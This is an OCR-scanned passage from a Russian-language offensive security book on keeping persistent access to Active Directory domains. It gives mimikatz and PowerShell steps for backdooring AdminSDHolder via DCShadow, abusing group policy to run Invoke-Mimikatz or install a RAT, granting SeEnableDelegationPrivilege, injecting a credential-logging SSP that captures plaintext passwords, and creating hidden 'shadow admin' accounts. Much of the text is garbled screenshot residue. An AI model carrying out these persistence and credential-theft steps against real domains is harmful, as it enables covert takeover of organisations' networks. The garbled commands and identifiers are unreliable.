бытий, что снижает риск обнаружения. Таким образом, план следующий: 1 . Получить текущие разрешения AdminSDHolder. 2. Внести изменения в разрешения (добавИ:ть нового пользователя). 3. Применить обновленные разрешения через DCShadow.
Гла ва 7 150 Получить текущие разрешения можно с помощью PowerShell (см. рис. 7.35). $asdh = $sddl = [ adsi ] ' LDAP : / /CN=AdminSDHolder , CN=System, DC=domain, DC=dom ' $asdh . ObjectSecurit y . Sddl Чтобы обеспечить персистентность доступа, добавим учетную запись в разрешения AdminSDHolder. Для этого нужно изменить полученную строку SDDL. Сначала необ ходимо узнать SID целевого объекта (рис. 7.34). I !I P S C : \Wi nd o w s \ s y s t e m3 2 > Get - ADUser D C U s e r EnaЫed C N =DC DC , C N=Us e r s , DC = doma i n , DC =dom Tr'LJe .Name DC DC i oi s t i n g u i s h e dName ' G i v e nN ame ос Obj ect C l a s s user Ob j e c t G U I D SanlAcc ount Name 8 3 7 f 7 f0 3 - 7 77c - 4 2 a 3 - 9 34d - 1 548d 3 c 5b 5 1 a DCUser SID S - 1 - 5 - 2 1 - 7 19 1 1 1 2 03 - 94267 1 3 44 - 1 8 3 14 0 9 ; 2 8 - 1 1 19 SLirn ame DC U s e r P r i n c i p a l f'Jame DC Ll s e r'@tdomain . do111 Рис. 7.34. Получение SID целевого пользователя Теперь можно изменить SDDL, просто добавив туда SШ (рис. 7.36). $newsddl = $sddl + " (А; ; CCDCLCSWRPWPDTLOCRSDRCWDWO; ; ; [ S I D] ] ) " Приступим к последнему этапу - использованию DCShadow. Чтобы применить данные разрешения, используем mimikatz, причем от имени system (рис. 7.37). mimikat z # ! + mimi katz # ! processtoken mimikatz # lsadump : : dcshadow /object : "CN=AdminSDHolder, CN=System, DC=domain, DC=dom" /at tribute : ntsecuritydescriptor /value : [SDDL] При этом в другом окне mimikatz нужно выполнить репликацию и применить дан ные. mimikatz # lsadump : : dcshadow /push Спустя некоторое время у целевой учетной записи можно заметить обновленный атрибут admincount, о котором мы уже говорили (рис. 7.38). - Таким образом, еще один вектор, для которого мы можем использовать DCShadow, персистентность административного доступа.
in ws yst ij ) i Од ; : I . ,-.�·.�r"d o�·IS \ sys ) (ОА; С I; RP\·iP C R ; 91еб47d еп13 __ . 2> с� netJ::.. - -d " �- .::-- Ljd _l ) ., •_ " · ·.• . ·_ ". , . .,: :,;,- L ,,1 - � • )1 _· 1 "..:. .· · . . � .··. .' "' . .s.� .:. · -.. разрешения контейнера AdminSOНolder в формате SDDL - 00аа00 3049 е 2 ; ; С А ) - ....-4. - ll:J.1.-т " CN '"• )' c· ,_:, �•:; .:;::: ,• .:.., 1'19 ! _ _ .'' " ) ( Од; ; RP\·;P ; б d Ь б 9 а 1 с - 94 2 2 - 1 l d l - a e b d - 0000f�03 6 7 с (Од; ; RP ; 46 a9 Ы 1 d - 60 a e - 4 0 5 a - Ыe 8 - ff 8 a5 8 d 4 5 l·•D l;-RPl•iP; Ьf967a7f- 0deб - 1 PS Новая строка SDDL - 1 - 5 - 2 1 - 719111203 - 94267 1344 - 1831409528 - 11 1 . ) Изменение разрешений AdminSDНolder с помощью mimikatz DCShadow Рис. 7.36. (А; ; C C D C L C S\·;RP\·iPDТ LOCRSDRC\•ID\·IO ; ; ; Рис. 7.38. Изменение разрешений AdminSDHolder с помощью mimikatz DCShadow Рис. 7.37. d 0 - a 2 8 5 - 00aa003049 e 2 ; ; СА) ) с : \1·.:. r: dO\J· S\ sys €Mj 1 '· r�,.�J( _ О : DAG : [J4D : ;:>;:.: <' д ; ; u ,;. с�� : ; .: - _ ; , .: с DC с. с: S•.R ""·. DD7 LCC RSDRCiDi-iC ; ; ; S\' (i• ; ; C C DC L C S\-iRPl·:P L OCRSDRCl·:D\-Ю; ; ; Вд ) (А ; ; L C R P LORC ; ; ; RU ) (А; ; C C DC l CS\·iRP\·,P LCC RRC·:D •.;o ; .: ; с:;.: ' ' с с::с - s •.. R;',,D - :с t<RC 1.D.·.C .: ; ' � - 1 - � - 2 1 - :- : ·? 1 1 2 0 ? - 9 4 2 6 7 1 344 . 1 8 3 14 09 5 2 8 - 5 1 9 ( д ; ; C CDC L C S\oiRP\:PDТLOCRSDROiD\·IO ; ; ; S - 1 - 5 - 2 1 - 7 1 9 1 1 120 � - 942 6 1344 - 18 14�9 3 2 8 - 1 1 18 1 0.:; ; С � ; s � ; � 1 э ; ; - 1е� - 1 1 J 0 - 9 8l9 - 00aa004 0 5 2 9 b ; ; �D ' ( OA ; C I ; RPWP C R ; 9 1 e647de - d96f - 4Ь70 95 57 - d63ff4f 3c c d8; ; PS (OA; ; C R ; a � 2 1 a5 З - le2 f - l ld0 - 93 1 9 - 00aa0040529� ; ; �S . \ 04 ; ; � � ; 46 a9� 1 l d - 60ae - 40 5 a - Ы e8 - ff8a58d456d 2 ; ; 5 - 1 - 5 - 32 - 5 6 е ) { ОА; ; RP.-1P ; 5805Ьс б2 - dc9 - 4428 - a е 2 - 85ба0f4с 1 8 5 е ; ; S - 1 - 5 - 3 2 - 561 ( ОА; ; RP"iP; бdЬб9аl с - 942 2 - 1 1 ·� 1 - ae�d - 0000f80367c 1 ; ; S - 1 - 5 - 3 2 - 56 1)(ОА ; DS с··· ; .._ Рис. 7.35. Текущие d е 2 - 8 5 6 a0f4c 1 8 5 е ; ; S - 1 - 5 - 3 2 - 5 6 1 3 - 1e 2f - 1 1 0 - 9 8 1 9 - 0 0 aa00405 2 9 b ; ; P S ) ; C R ; а Ы 2 1 a 5 3 - l e 2 f - l l d 0 - 9 8 1 9 - 00 a a 0040 3 2 9 b ; ,; DA) ( А ; ; C CD C L C S1"RP1·.P LOC RRc ."o,"o .: ; ; S - 1 - 5 - 2 1 - 7 1 9 1 1 1 2 0 3 - 94 2 6 7 1 344 - 1 3 5 1409 5 2 8 - ; 1 9 ( А ; ; C CDC L CS\<IRPl·iPDТ LOCRSD S- 1- ; - 2 1 - 7 1 9 1 1 1 2 0 3 - 94 2 6 7 1 344 - 1 8 3 14 09 ; 2 8 - 1 1 1 8 �-� d9 6 f - 4 ti 7 0 - 9 5 57 - d63ff4f 3 c c d 8 ; ; P S ) ( ОА ; ; C R ; а Ы 2 1 а �j 2 ; ; S - 1 - 5 - 3 2 - 5 6 0 ) (ОА; ; RPl·iP ; 5 8 0 5Ь с б 2 - b d c 9 - 442 8 - а l ; ; S - 1 - 5 - 32 - 56 1 ) ( 0A ; ; RPWP ; bf 967 a7f - 0 de б - 1 1 d 0 - a 2 8 RC\.iDl'iO; ; _: CDC L C S\·;R P ,., P LOC RROiDiIO ,; ; : · l PS C : \Windows\system32> iasdh [ a ds �5 с : \ :i пd o1·J S \system3 2 > $ ; d d l ia sdh . Obj ectSecurity . Sddl P S C : \W do \s em 3 2 > i s d d l : DAG : DдD . РА I ( А ; ; L C R P LORC ; .: ; AU ) ( А ; ; C C DC L C S»;Ro";po- �CC R SD R C 1-i01IO ; ; ; SY Н 4 ; ; C C DC L C S , " RP1·:P LCC RSDRCi·.D,·.G . ; ; S ) ( А ; ; L C R P LORC ; ; ; R U ) {А; ; С UI ..... ..... :z: f � ii Q) 3 Q) 6 i;:: � 3 °' о i;:: <D � i
ГЛАВА 8 И спользуем груп повые политики , чтобы сохранить доступ к домену Во время атаки на инфраструктуру Active Directory очень важно сохранить полу ченный доступ. Для этого применяются различные методы и средства, в том числе особенности групповых политик и бэкдоры. В этой статье мы рассмотрим исполь зование групповой политики и некоторых методов внедрения в критические про цессы для поддержания привилегированного доступа. Обыкты групповой полити ки Групповая политика позволяет администраторам управлять компьютерами и пользователями в Active Directory. Она состоит из нескольких час�:ей и в большой ком пании может оказаться сложной в использовании без привлечения сторонних инструментов. Групповые политики сохраняются как объекты групповой политики (GPO), кото рые затем связываются с объектами Active Directory. Дело в том, что групповые политики могут включать параметры безопасности, разделы реестра, правила уста новки программного обеспечения, сценарии для запуска и завершения работы, а члены домена обновляют параметры групповой политики по умолчанию каждые 90 минут на своих машинах и каждые 5 минут на контроллере домена. В большинстве случаев в домене точно настроены: 1:1 один объект групповой политики, определяющий обязательный пароль, Kerberos и политики всего домена; 1:1 один объект групповой политики, настроенный для подразделения контроллеров домена; 1:1 один объект групповой политики, настроенный для подразделения серверов и рабочих станций. Посмотреть групповые политики можно в окне «Диспетчер серверов ние групповой политикой)) (рис. 8 . 1 ). ---+ Управле
Глава В 154 О Ji Упраам:кмt: rpynnoeoM по11мтикоМ .(i Ф1йл • •т• Дr:МстеКt: · Оюtо Вид - г�т1mi-------·--- -- ------·------- ----·- - --·· - - --- ,!li Уnрtмt:нме rpynnoeoM nолмтикой v Д Лес dom11in.dom у __J - Cnp1au ------------·---··-·- ----··-·· Х il 1С -- 06w�1 rpynnoaoй nоnмтмкм - domain.dom · Со- .а.-, Доме:ны �. fj1 Delu 0omo1n Corirolers Ро1су iiJ DefU Oomoln Ро1су WGP_G...._2 . Jij'GP_MS_1 .fi[ GP_a!ice j/GPJetl Ст.тусобwес:п rpymoeoA nоrмтикм в........., - !\шочено - """1ь11> WMI Нет Нет Нет Нет Нет Нет а.- Моделмроu:н� rpynnoaoй nол.итt1.1оt 8nа.аепец �._ Д,,:,.tра .И.С Щ)Ы .rюме -..,,,,_ ,. ..... д,мн,с,,,.,_ _ дЕмиtсtраторы .QCIМt' -..,,,._ ,. "' Реул11пты групnоаоМ nолмт141Си Рис. 8.1 . Управление групповой политикой Файлы, которые содержат параметры политики («Шаблон групповой политикю> ), расположены по пути с : \Windows \SYSVOL\ [dornainJ \Policies\ на контроллере домена (рис. 8.2). компыотор • - --- ЛокiО11 ьныii диос (С:) > Windows > SVSVOt > domain > Pofici� > Имя Тигt 11 {6AC1786C-016F· 1 1 DZ-945F-.OOC04f8984F9} Папка с фамами Ра•м<р {8EOEC14D-8885-40SE-BF86-912ADA989786} ПаnКА с файлами {8FFB172D·C1C9-4997-AFFD-F820D2359549} Паnк1t с фомами {31В2F340-016D·1 1 02·945F·OOC04FB984F9} Папка с файлами (428FB19-FF53-4569·94A3·7C8S5A82570E} Папка с фанnами (С394А474-Е398·4889-д19P-17EF481 ВА880} ПаnКА с файnами Рис. 8.2. Шаблон групповой политики Исполь�уя PowerShell Active Directory Get-ADOЬject, можно проверить наличие объ екта групповой политики и его ключевые поля, интересующие нас (рис. 8.3, 8.4). PS > Get-ADObject ' CN= { 4 2 8 FE31 9-FF5 3-4569-94A37C855A8 2 5 7 0E } , CN=Policies, CN=System, DC=domain, DC=dom ' PS > Get-ADObject ' CN= { 4 2 8 FE 3 1 9-FF53-4569-94AЗ-7C855A8 2 5 7 0E } , CN=Policies, CN=System, DC=dornain, DC=dom ' -Properties displayname , gpcfilesyspath, gpcrnachineextensionname s , gpcuserextensionnames При создании объекта групповой политики он может быть как связан, так и не связан с каким-либо объектом Active Directory. Если такая связь существует, атри бут gPLink этого объекта будет обновлен и в него будет добавлено значение Dist inguishedName групповой политики. По этому признаку можно определить, какие групповые политики применяются к данному объекту Active Directory. Если мы перейдем в любую директорmо объекта групповой политики, т. е. в с : \Windows\SYSVOL\ [ domain] \Policies\, то обнаружим следующие вложенные объек ты (рис. 8.5): 1. мachine - 2. User - директория с пользовательскими настройками политики. директория с настройками машины для объекта групповой политики. для объекта групповой
{ Name -- - - · 'Cri•{.42.tFE 319-Ff53 -4569-94A3- 7CЗSSA8257aE} ,CN"Policies , Ci�=Systen1zDC=d001ain,DC=d0tu' - - - - - - - - -- - ObjectClass Obje-ctGUIO --- -- -- - - :O D i s p l ayName Di stingui s h e dName gpcfi lesyspath Name tl b j e ct C l a s s ь j e ctGUID ii USER ij GPT Рис. 8.5. > > 1 КБ Policies > {6AC178бC-016F-11 D2-945F-OOC04fВ98F9 4 } Содержимое директории объекта групповой политики Параul!Тры "онф". Пап ка с > Размер domain файламк SVSVOL ПanQ с файлами Windows 11 МACHINE � Тмn JloOJ1Ыtый АИСJС (С:) Имя 1:оuпьюrер > Рис. 8.4. Использование Get-AOObject для получения ключевой информации об объекте групповой политики GP_/>15_1 CN={428F E 3 1 9 - F F 5 3 -4569- 94A3 - 7C855A82570E } , CN=Pol i c i e s , CN=System, DC=doma i n , DC=dom \ \domain . dom\SysVol \domain . don1\Po l i c i e s \ { 428F E 3 19 - FF 5 3 -4569- 94АЗ - 7С855А82570Е } {428F E 3 1 9 - F F 5 3 - 4569- 94A3 - 7C855A82570E} groupPolicycontainer Ьб03ЫЬ3 - аlс4 - 4 1 8 1 - 9450- бес49092Ы84 PS с : \l�indows \systen132 > Get -ADObject с:1= · .1 1 : = =: l :, · : : =·-'· _ _.;6·=· - :.с:,:. 3 - 7с 33с.�32 .:: 70:0 : , Cl1=Po: i с ie s , CfJ=S; stem, DC =Cio11ain, ос =dом' d i s p l ayname , gpcfil esyspath , gpcmachineextens ionname s , gpcuserextensioпnames Рис. 8.3. Использование Get-AOObject для получения основной информации об объекте групповой политики - Propert ies C'I= {428FE319-FF53-4569 ·94д3 · 7С855А82570Е}, CN=Pol ic ies, CN•System,DC•domain ,DC=dO<ll {428FE319· FF5 3 4569-94АЗ- 7С855А82570Е} groupPolicyContainer Ьб0ЗЫЬЗ- al с4 ·4181·9450· 6ес49092Ь184 OistinguishedName- - - - - - - - - - - - - - - -- PS С : \Windows\system32> 6et-ADObject 8: � 1 " а, � 3 2' � 111 :z: � � � -� 1 ф 5 � ::3 1\1 � "' � § 11'" �
Глава 8 156 3. GPT . INI - файл, который содержит параметры конфигурации объекта групповой политики. Групповая политика бьmа создана, чтобы упростить управление ресурсами в доме не, однако злоумышленник также может использовать ее возможности для своих целей. К примеру, таким образом можно подменить программы, создать заплани рованные задачи, добавить новую локальную учетную запись на все компьютеры. Также приведу список интересных возможностей, которыми лично пользовался сам или видел, как пользовались другие операторы. 1 . Использование сценариев PowerShell или VBS для настройки членства в группах на уровне домена. 2. Запуск Invoke-Mimikatz на всех контроллерах домена в качестве SYSTEM через определенный промежуток времени (например, раз в три дня). 3 . Получение учетной записи krЬtgt, а затем планирование задачи запуска DCSync на определенных машинах во всем лесу с использованием поддельных билетов Kerberos. 4. Установка RAТ и добавление исключения в антивирусные правила в домене или лесу. Применение групповой политики по умолчанию заключается в обновлении груп повой политики на клиентах. При этом если новая политика совпадает со старой, та обновляться не будет. Назначить разрешения для политики можно в том же раз деле «Управление групповой �:�олитикой», выбрав политику и перейдя к настройкам делегирования (рис. 8.6). Так мы можем добавлять задачи, выполняемые от имени администратора домена на всех компьютерах домена. � Ynp4'Sltfl!lfe rpynno10K nопмтмкоi:i о li Ф.йп ДеМtпм: Ви.А OIUIO Спроеп Ii Уnримн� tpynno8oA nomnм.1i:.0M v д Лк dormifn.dom v а д<>u<ны " !lil do<мm,dom . Ge•ult Domain Polky ) !iZi Dom.in Controller5 1Ш' 061.цtы rpynno1oit FЮЛКТМОI jJ Dmult Oom•in Cootrollers Polky J1 Oefau/t Donwin Policy v Ji} GP_G.ma_2 > > �1.1SJ jJ GP_Offke jJ GP_t.,. - GP_MS_1 · Обмс:n. r.eeAIИtA �фЬl до� Состо.... -� ЩJЫ .IP«!Нil � ро � АМ GР0ммеот�r�мnаJЬ3ОUТе114 ([)OМAJN\д.�- .у И3меttмtе Пiр84еtрое А&МН198 И М3МIНИ48 Pnpewetto мрвме � lр(I.. Не т • .fl.дiм...ti:яt .c ropы��irмs(DOM .. �rupiмe'fPQ8.fдaneitМe1t��1P0- .. Нет Неr f&КОНТРОЛПЕРЫ !ЮWЕНАПРЕдПР... Ч"RНtе ��)"leТOМQtlЪ���) Нет &f\loWellllМlt � � l"WIP8'"'81JX8,YlUlll8iМe M � f18PIМlt1PO- - Нвт "СИСТЕМА Фмп11tтрыWМI '1 Н.'41.J!�.нш обwпы rpynnoeoК nотnм!М Qt C•iПы Модимрое4'1-1Ме rpynnoeotf ПО1'МТМIСМ � Peyll•TIТW rpynno10M nолктм�см Рис. 8.6. Разрешения групповой политики - ---, -., [- х �- "
Используем групповые политики, чтобы сохранить доступ к домену 157 SeEnableDelegationPrivilege Эта привилегия определяет разрешение доверия к учетным записям компьютеров и пользователей при делегировании. Таким образом, она распространяется на домен, а не на локальную машину в этом домене. Право SeEnaЫeDelegationPrivilege контро лирует изменение свойства msDS-Al lowedToDelegateтo, которое содержит объекты для ограниченного делегирования. Исходя из этого, оператор не может изменить ни настройки управления учетными записями пользователей, связанные с делегированием, ни свойство msDS-AllowedToDe legateTo для объекта, если мы не обладаем привилегией SeEnaЬleDelegationPrivilege (рис. 8.7). ЩI RH I HG : 0 1.' 1 1 1 111 111' 11 J t 1 1 . ( '� e t - D o l'la i n O h.i e c t ] " 1 • • [ 1" 1· 0 1· � e t t i n q / 1· e u l м ; i n ч " 1 , r 1 r 11 1 � r 1 " 1 1 1 f ,, m·o pe 1· t i e � 1 11 1 1 Рис. 8.7. Запрет на изменение свойства msDS-AllowedToDelegateTo ' ,\ } l 1 11 1 1 1, 1 1 1 • 1 1 · 'И" ·• l" � l l f H 1 1 1 ' f o t• o li i e c t ' )IT 1 "(1. 1 1 1 Так как право SeEnaЫeDelegat ionPrivilege применимо только на самом контроллере домена, оператору необходимо проверить политику контроллера домена по умол чанию (имеет guid { бАСl 7 8 6C- O l бF- 1 1 D2-945F-OOc04fB9 8 4 F 9 1 ). Проверить данную на стройку можно в файле \МACНINE\Microsoft \Windows NT\SecEdit \GptТmpl . inf для данной политики (рис. 8.8, 8.9). [Unicod"] Unicode-yes [ Registry Values] МACHINE \5ystem\CurrentControl5et\5erv ices \NТD5 \Parameters \LDAPServerIntegr ity-4 , 1 МACHINE\5ystem\CurrentControl5et\5ervices \Netlogon \Parameters \Require5ign0r5eal-4, 1 МACHINE\5ystem\CurrentControl5et\5ervices\LanМan5erver\Parameters\Require5ecuritySignature-4, 1 МACHINE\5ystem\CurrentControl5et\5ervices\LanMan5erver\Parameters\Enable5ecuri tySignature-4, 1 [Version] s ignature--$CHICAGO$Revision•l [ Privilege Rights] 5eAssignPrimaryTokenPrivilege - • 5 - 1 - 5 - 82 - 27172.1585- 8976012.26 -202461 3209-625570482.-2.96978595, *S-1-5-19, *5 5eAuditPrivilege - • 5 - 1 - 5 - 82 - 271721585-897601226- 20246132.09-62.5570482- 296978595, * 5 - 1 - 5 - 1 9 , * 5 - 1 - 5 - 20, *5-15eBackupPrivilege • * 5 - 1 - 5 -32-544, *5-1-5-32-551, * 5 - 1 - 5 - 3 2 - 549 5e8atchlogonRight - *5 - 1 - 5 - 32-568, * 5 - 1 - 5 - 3 2 - 544, * 5 - 1 -5-32-551, * 5 - 1 - 5 - 32 - 5 59 5eChangeNotifyPrivilege • 5eCreatePagefilePrivilege *5-1-1-0, * 5 - 1 - 5 -19, * 5 - 1 - 5 - 20, * 5 - 1 - 5 - 3 2 - 544, * 5 - 1 - 5 - 1 1 , • 5 - 1 - 5 - 3 2 - 5 54 • * 5 - 1 - 5 - 3 2 - 544 5eOebugPrivilege - * S - 1 - 5 - 3 2 - 544 5elncreaseBasePriorityPrivilege • * 5 - 1 - 5 - 32 - 544 5elncreaseQuotaPrivil"ge - *S-1-5-82 -2.71721585 -897601226- 20246132.09 -625 570482.- 296978595, *S-1-5-19, *S - 1 - 5 SelnteractivelogonRight = • S - 1 - 5 - 3 2 - 544, *S-1-5-32-551, *5-1-5-32-548, *5 - 1 - 5 - 32-549, * 5 - 1 - 5 - 32 - 550, * 5 - 1 - 5 - 9 SeloadDriverPrivilege - * 5 - 1 - 5 - 3 2 - 544, * 5 - 1 - 5 - 3 2 - 5 50 • 5eМachineAccountPrivilege • 5eNetworklogonRight *5-1-5-11 *5-1-1-0, *5-1-5-32-544, *S-1-5-11, *S-1-5-9, *5 - 1 - 5 -32-554 5eProfile5ingleProcessPrivilege • * 5 - 1 - 5 - 3 2 - 544 5eRemote5hutdownPrivilege - * 5 - 1 - 5 - 3 2 - 544, * 5 - 1 - 5 - 32 - 549 SeRestorePrivilege = 5eSecurityPrivilege 5e5hutdownPrivilege * 5 - 1 - 5 - 3 2 -544, * 5 - 1 - 5 - 32-551, * 5 - 1 - 5 - 32 - 549 • *5 - 1 - 5 - 32- 544 • * 5 - 1 - 5 - 3 2 - 544, *5-1 - 5 - 32-551, * 5 - 1 - 5 -32-549, * 5 - 1 - 5-32-550 5e5ystemEnvironmentPrivilege 5e5ystemProfilePrivil"ge • • * S - 1 - 5 - 32-544 * 5 - 1 - 5 - 32-544, * 5 - 1 - 5 -80-3139157870-2983391045- 3678747466-658725712-1809340420 5e5ystemП111ePrivilege - * S - 1 - 5 -19, * 5 - 1 - 5-32-544, •S-1,-5-32-549 SeTake<МnershipPrivilege - * 5 - 1 - 5 - 3 2 - 544 5eUndockPrivilege • • 5 - 1 - 5 - 32 - 544 e<мЫeDel�ga tion Pi:Jv i l�ge S - * 5 - 1 - 5 - 32 - 544 Рис. 8.8. Разрешение SeEnaЫeDelegationPrivilege
Глава В 158 I PS С : \ > · 1 j 2 - c-44 " B U I L T I N \Admi n i st r ators Рис. 8.9. 1 Convert - Si d ToName Имя объекта по SID Иными словами, по умолчанию только администраторы имеют право изменять параметры делегирования. Если мы имеем права GenericAll /GenericWrite для любых объектов в домене, нам необходимо получить привилегию SeEnaЬleDelegationPrivilege. Сделать это проще, чем кажется. Допишем имя учетной записи в указанный выше файл (рис. 8. 1 0). SeSystetnT:ille Privilege • SeTakeOwnershipPrivilege SeUпdoc kPr iv ilege • * S - 1 - 5 - 19, * S -1 - 5 - 32 - 544, * S- 1 - 5 - 32 - 549 • * S - 1 - 5 -32-544 •S - 1 - 5 - 3 2 -544 SeEnaЫeDelegationPrivilege Рис. 8.10. • iill , •S - 1 - 5 -32- 544 :.._ _ __ _ _ _ _ _ _ _ _ _ _ _, Разрешение SeEnaЫeDelegatioпPrivilege поспе добавления записи При добавлении любого SID или имени пользователя в любую строку данного фай ла в разделе [ Privilege Rights J изменения вступают в силу, когда контроллер доме на или пользователя перезагружают или обновляют групповую политику (рис. 8. 1 1 ). PS > $Policy = Get-DomainPolicy -Source ОС PS > $Policy [ ' Privilege Rights ' ] [ ' SeEnaЬleDelegationPrivilege ' ] PS C : ,U s e i-s,e u i lus e t- > $ Po l ic y = Ge t - Doмa inPo l ic y -Sош•се DC PS C : ,1J s e 1·s,e u i l н� е 1· > $ Ро 1 ie y f ' P1• i u i l t' fi" R i9 !1t s ' l f ' Se Er1<t}1 l r: De ] " !J •• t '1t.' i Ltt�t.н•::> - t -!> - J /. -::. •и Рис. 8.1 1 . ionP1• i v i ]е9" ' ) SeEпaЫeDelegatioпPrivilege в [Privilege Rights] Таким образом, если целевой пользователь обладает полными правами на любого другого пользователя в домене, то оператор может изменить значения свойства msDS-Al lowedToDelegateтo для подконтрольного пользователя, делегировав права аб солютно на любую службу в домене. Контроль над всеми службами в домене дает нам контроль над всем доменом. Security Support Provider Security Support Provider Interface (SSPI) - программный интерфейс в Microsoft Windows между приложениями и провайдерами безопасности. SSPI используется для отделения протоколов уровня приложения от деталей реализации сетевых про токолов безопасности и обеспечивает уровень абстракции для nоддержки множест ва механизмов аутентификации. SSPI позволяет легко расширять методы проверки подлинности Windows, позволяя добавлять новых поставщиков поддержки безопасности (SSP). Вот некоторые из стандартных служб SSP:
Используем грrпповые политики, чтобы сохранить доступ к домену 159 1 . NTLM это протокол аутентификации, используемый в сетях, которые вклю чают машины с операционной системой Windows. - 2. Kerberos - определяет, как клиенты взаимодействуют со службой сетевой аутентификации на основе билетов. 3 . Negotiate - это SSP, который действует как прикладной уровень между SSPI и другими поставщиками общих служб. 4. Schannel - это SSP, который содержит набор протоколов безопасности, обеспе чивающих идентификацию личности и безопасную конфиденциальную связь посредством шифрования. 5 . Digest - это SSP, который реализует упрощенный протокол аутентификации для сторон, участвующих в обмене данными на основе протоколов НТТР или SASL. 6. CredSSP - это SSP, позволяющий приложению делегировать учетные данные пользователя для удаленной аутентификации. Но мы можем добавить свой SSP в систему Windows. Имеющийся в mimikatz модуль SSP обеспечивает автоматическую регистрацию локально аутентифициро ванных учетных данных. Таким образом, оператор сможет получать актуальный пароль учетной записи компьютера, учетные данные служб, а также все учетные записи, которые авторизуются в системе. Есть два способа сделать это. Первый - воспользоваться модулем misc (рис. 8 . 1 2) mimi katz # privilege : : debug mimi katz # misc : : memssp mim i k a t z # p r i v i l ege : : de b u g P r i v i l ege · 20 · ОК m i m i k a t z 1 mi s c : : mems s p Iпjec ted = ) Рис. 8.12. Использование модуля misc: :memssp mimikatz Но этот способ не переживет перезагрузки машины. Теперь разберем более слож ный, но надежный второй способ. Необходимо скопировать mimilib . dll в папку с : \Windwows \System32. После этого надо обновить запись в реестре по пути НКЕУ_LOCAL_МACНINE\System\CurrentControlSet \Control \Lsa \Security Packages, добавив туда mimi lib (рис. 8 . 1 3). Теперь. все данные авторизации будут (рис. 8 . 1 4, 8 . 1 5). регистрироваться в журнале С : \Windwows\System3 2 \ kiwissp. log �SecureBoot ��'!"-ОС���-·-···�·---- -- 0.000100 (1) REG_DWORD RЦi.f:!.1_\!,ц:i,.g___ ...._!�� � !os-;_1�f!"i!!.� nn;t°�jя�-�l'Ъl!!c!!2 u mi;;:J[ь:"::-..::-". "::J Рис. 8.13. Запись Security Packages в реестре
Гла ва В 160 Результаты поиска в "System32" ----- � (1 ------ - - l<iwissp C:\Windows\System32. - - - - - - Т иn: Текстовый документ Рис. 8.14. Запись Security Packages в реестре (000000 : 00000Зе7] (000000 : 000003е4] [ 000000 :0000fсТ1 ] (000000 : 0000fd44] (000000 : 00000З е5] (000000 : 0000З 0 еЗ] (000000 : 0007d880] (000000 :0007ed38] (000000 o0007edS6] [00000002 ] (00000005 ] [00000002 ] [00000002 ] [00000005 ] [00000005 ] [00000005 ] [00000002 ] [00000002 ] а2 cl d2 31 42 6d с9 8е la 5с 3е 48 4а а4 47 77 OOМAIN\WIN-5ULR6E1JП9S (WIN-5ULR6E1JТJ9$) а2 cl d2 31 42 6d с9 Se la Sc Зе 48 4а а4 47 77 OOМAIN\WIN-5ULR6E1JП9$ (NEn«JRK SERVICE) OOМAIN\WIN-5ULRбE1JП9$ (Dlltl - 1) а2 cl d2 31 42 6d с9 8е 1а 5с Зе 48 4а а4 47 77 36 0d 79 74 74 7 OOМAIN\WIN- 5ULRбE1JТJ9$ (DIФl-1) а2 cl d2 31 42 6d с9 8е la 5с Зе 48 4а а4 47 77 36 0d 79 74 74 7 \ (LOCAL SERVICE) \ (IUSR) OOМAIN\МediaAd�1nS (Мed1aAdtll1n$) е7 Ы 96 75 ef cd 71 0Ь 2Ь е6 99 Зс 45 21 15 Зе 85 fЗ Ьd d5 9f 5 OOМAIN\root (root ) 12345678 OOМAIN\root (root ) lll!lfi Рис. 8.15. Пароль пользователя root в открытом виде Используя групповые политики, можно собирать информацию со всех журналов всех машин в домене, а также сохранять их в какой-нибудь общедосrупный ресурс. С п ис ки .доступа и дескри пторы безо п асности Учетные записи теневого администратора (shadow admins) - это учетные записи, которые имеют «негласные» привилегии и обычно остаются незамеченными, т. к. они не входят в привилегированную группу Active Directory. Как правило, приви легии таким учетным записям предоставлены за счет прямого назначения разреше ний (списков доступа). Поскольку учетная запись теневого администратора облада ет неявными привилегиями и ее сложнее обнаружить (она не состоит ни в каких привилегированных группах), то она наиболее приоритетна для оператора. Каждый объект в Active Directory имеет свой собственный список разрешений АСЕ (записи контроля досrупа), которые в совокупности составляют ACL (список кон троля досrупа). ACL каждого объекта определяет, кто имеет разрешения на этот конкретный объект и какие действия могут быть выполнены с ним (рис. 8. 1 6, 8 . 1 7). То есть группе «Администраторы домена» по умолчанию предоставляется полный доступ ко всем объектам домена. Но оператор может взять непривилегированную учетную запись пользователя и предоставить ей те же АСЕ, что и группе «Админи страторы домена». Такая учетная запись и будет классифицироваться как учетная запись теневого администратора. Преимущество этого метода состоит в том, что обнаружить его можно, только по стоянно отслеживая списки контроля доступа, что на самом деле делается очень редко либо вообще никогда. Рассмотрим три самых распространенных варианта использования метода.
Используем геупповые политики, чтобы сохранить доступ к домену Безоnасность Редактор атриб 161 ов [pymьt иnи nоnьзоеаП!nи: • Jl. SELF Jl.l)юшещме� Jl.СИСТЕМА & SD (userS[)@domaWJ .dom) < 8С41·!МSВtММf iiii ! �1Ь 1 1 •.. fазреwени11 д/IЯ f'йПЬ1 "Все" j �- Разреwи1Ь 3аrрети1Ь По/Н>IА /IОСТ}'П Чтение Запись Созда1Ь есе дРЧеРНИе объеКты Удаnи1Ь есе дРчерние объекты Чтобы зада1Ь особые разрешения иnи параметры. НаJIСМИТе Ю1QПКУ "L1Рnо1"4теnьнок. Рис. 8.16. ACL > о о о о о о о о о о 'У �1"4теnьно! группы «Администраторы домена для всеn Ред;�ктор а:rрибутов Безопасность [pymьt иnи ло1ЪЗОВатеnи: " • СИСТЕМА < ,dom) > 1 д!ф!м1Ь". ! [ fазреwения мя rpyrnы "СИСТЕМА" � 1 Разреwи1Ь 3arpeni1Ь По!Н>IЙ дРСТ}'П ч....,._ Запись Созда1Ь есе ДРЧерНИе объекты Удаnи1Ь есе дРЧеРНИе объек1Ь1 Чтобы зада1Ь особые разрешения иnи napaмe1JJЬ1 , НаJ1СМИТе кнолку о о о о о "дt>полнитеnьно". Рис. 8.17. ACL группы «Администраторы домена для System» Первый вариант - когда оператор предоставляет учетной записи полный контроль над группой «Администраторы домена». В данном варианте учетная запись не состоит в указанной группе и не является привилегированной, но в любой момент может добавить себя или другую подкон трольную учетную запись в эrу группу, выполнить необходимые действия и уда литься из группы.
